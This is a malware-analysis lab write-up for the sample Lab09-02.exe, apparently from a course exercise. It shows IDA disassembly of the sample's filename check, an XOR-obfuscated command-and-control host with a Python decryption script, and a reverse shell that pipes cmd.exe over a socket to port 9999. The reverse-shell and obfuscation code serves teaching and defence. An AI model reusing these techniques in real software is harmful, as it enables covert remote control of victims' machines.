0x0B_Lab09-02
Overview
| Filename | Size | MD5 |
|---|---|---|
| Lab09-02.exe | 24 KB | 251f4d0caf6eadae453488f9c9c0ea95 |
TL;DR: The malware has to be renamed ocl.exe in order to execute properly. It connects to www.practicalmalwareanalysis.com:9999 (the C2 address is stored encrypted, but not the port number) and starts a reverse shell.
Tools: IDA Free
IDB: Lab09-02.i64
Initiating arrays
The function _main() starts with the initialization of two buffers on the stack. the first will contain the string “1qaz2wsx3edc”, and the other an array of 32 bytes of apparently gibberish data:
1
2
.data:00405034 dw_array dd 54160646h, 1B120542h, 2070C47h, 16001C5Dh
.data:00405034 dd 1D011645h, 0F050B52h, 9080248h, 151C141Ch
We’ll back to this in a moment.
Name check
After initializing the buffers, the malware checks its name and exits if it is not executed under the expected name.
First, it gets the full path of the current process (i.e., itself):
1
2
3
4
.text:004011FF lea eax, [ebp+Filename]
.text:00401205 push eax ; lpFilename
.text:00401206 push NULL ; NULL == path of the executable file of the current process
.text:00401208 call ds:GetModuleFileNameA
then, it scans for the path separator (\) starting from the right, in order to retrieve the filename:
1
2
3
4
5
6
.text:0040120E push '\' ; pattern to search for
.text:00401210 lea ecx, [ebp+Filename]
.text:00401216 push ecx ; char *
.text:00401217 call _strrchr ; pointer to the first '\\' from right
.text:0040121C add esp, 8
.text:0040121F mov [ebp+self_name], eax
Finally, the filename is compared with ocl.exe; if there’s a mismatch, the malware exits:
1
2
3
4
5
6
7
8
9
10
.text:0040122B mov eax, [ebp+self_name]
.text:0040122E push eax ; char *
.text:0040122F lea ecx, [ebp+target_name]
.text:00401235 push ecx ; char *
.text:00401236 call _strcmp
.text:0040123B add esp, 8
.text:0040123E test eax, eax
.text:00401240 jz short name_is_ocl_exe
.text:00401242 mov eax, 1
.text:00401247 jmp exit
If the name is correct, the Winsock2 library is initialized and a TCP socket is created (code not shown).
CnC decryption
Right after the creation of the socket, we notice a call to function 0x401089 (renamed CRYPTO__DecryptCnC()) taking 2 parameters. These parameters are pointers to the 2 buffers seen earlier:
1
2
3
4
5
6
7
.text:004012AF lea ecx, [ebp+dw_array]
.text:004012B5 push ecx ; encrypted
.text:004012B6 lea edx, [ebp+key]
.text:004012BC push edx ; key
.text:004012BD call CRYPTO__DecryptCnC
.text:004012C2 add esp, 8
.text:004012C5 mov [ebp+CnC], eax ; www.practicalmalwareanalysis.com
The decrytion is pretty straightforward (xor-encrypted string), below is a reimplementation in Python:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
if __name__ == "__main__":
key = b'1qaz2wsx3edc'
encrypted = b''
encrypted += b'\x46\x06\x16\x54\x42\x05\x12\x1B'
encrypted += b'\x47\x0C\x07\x02\x5D\x1C\x00\x16'
encrypted += b'\x45\x16\x01\x1D\x52\x0B\x05\x0F'
encrypted += b'\x48\x02\x08\x09\x1C\x14\x1C\x15'
decrypted = ""
for i, b in enumerate(encrypted):
d = b ^ key[i % len(key)]
decrypted = "{}{}".format(decrypted, chr(d))
print(decrypted)
The decrypted result is www.practicalmalwareanalysis.com. Returning from the decryption function, the malware connects to www.practicalmalwareanalysis.com:9999 (code not shown).
Reverse shell
Once the connection is established, function 0x401000 is called (PS__CreateReverseShell()). Basically, it creates a new cmd process with stdin, stdout and stderr redirected to the socket:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
.text:00401034 mov [ebp+StartupInfo.dwFlags], STARTF_USESHOWWINDOW or STARTF_USESTDHANDLES
.text:0040103B mov [ebp+StartupInfo.wShowWindow], FALSE
.text:00401041 mov edx, [ebp+socket] ; socket connected to CnC
.text:00401044 mov [ebp+StartupInfo.hStdInput], edx ; stdin -> socket
.text:00401047 mov eax, [ebp+StartupInfo.hStdInput]
.text:0040104A mov [ebp+StartupInfo.hStdError], eax ; stderr -> socket
.text:0040104D mov ecx, [ebp+StartupInfo.hStdError]
.text:00401050 mov [ebp+StartupInfo.hStdOutput], ecx ; stdout -> socket
.text:00401053 lea edx, [ebp+ProcessInformation]
.text:00401056 push edx ; lpProcessInformation
.text:00401057 lea eax, [ebp+StartupInfo]
.text:0040105A push eax ; lpStartupInfo
.text:0040105B push 0 ; lpCurrentDirectory
.text:0040105D push 0 ; lpEnvironment
.text:0040105F push 0 ; dwCreationFlags
.text:00401061 push 1 ; bInheritHandles
.text:00401063 push 0 ; lpThreadAttributes
.text:00401065 push 0 ; lpProcessAttributes
.text:00401067 push offset CommandLine ; "cmd"
.text:0040106C push 0 ; lpApplicationName
.text:0040106E call ds:CreateProcessA
EOF